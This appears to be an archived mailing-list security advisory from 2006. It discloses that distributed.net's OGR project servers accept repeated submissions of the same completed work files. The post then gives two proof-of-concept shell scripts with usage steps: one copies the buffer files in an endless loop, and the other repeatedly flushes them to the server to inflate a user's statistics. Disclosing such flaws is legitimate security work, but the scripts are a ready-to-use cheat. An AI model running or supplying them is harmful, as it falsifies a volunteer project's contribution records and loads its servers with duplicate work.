<<< Date Index >>>     <<< Thread Index >>>

Sending exact replicas of Distributed.net's worked OGR project files could increase individual's stats.



Vulnerable: All Dnet clients when working on OGR project

Distributed.net was the Internet's first general-purpose distributed computing 
project. 
Founded in 1997, the network has grown to include thousands of users around the 
world donating the power of their home computers to academic research and 
public-interest projects.
There is a possibilty to send exact replicas of worked OGR (Optimal Golomb 
Ruler) project files several times. Therefore, an individual could gain fake 
stats.

Bug Discovered by UHAGr team on 07-Dec-2002 - www.UHAGr.org


--------- START OF DNETC-OWNAGE.sh ------------
# Proof-of-concept script for
# "Sending exact replicas of Distributed.net's worked OGR project files
#  could increase individual's stats" 
# Bug Discovered by UHAGr team on 07-Dec-2002 www.UHAGr.org
# Published 14-Feb-2006 some things take time u know... :)
##########################################################
#Vulnerable: All Dnet clients when working on OGR project
#There is a possibilty to send exact replicas of worked OGR (Optimal Golomb 
Ruler) 
#project files several times. Therefore, an individual could increase his stats 
with fake worked files
##########################################################
##########################################################
# When your OGR work is finished
# copy the script into the dnetc directory
# sh dnetc-ownage.sh &
# cd NEW/
# copy the mpe.sh script in the NEW directory and run it
# and that's all
# when you're bored, just kill the appropriate pid
##########################################################
# Distributed.net server isn't checking the result files...
# WHY? Shame on u...
##########################################################
mkdir NEW
cp * NEW/
while spoilt=true;do
cp buff-* NEW/
done
---------------- END --------------------
------------ START OF MPE.sh -----------
#LAME LAME LAME 
while spoilt=true;do
./dnetc -flush
sleep 1
done
---------------- END --------------------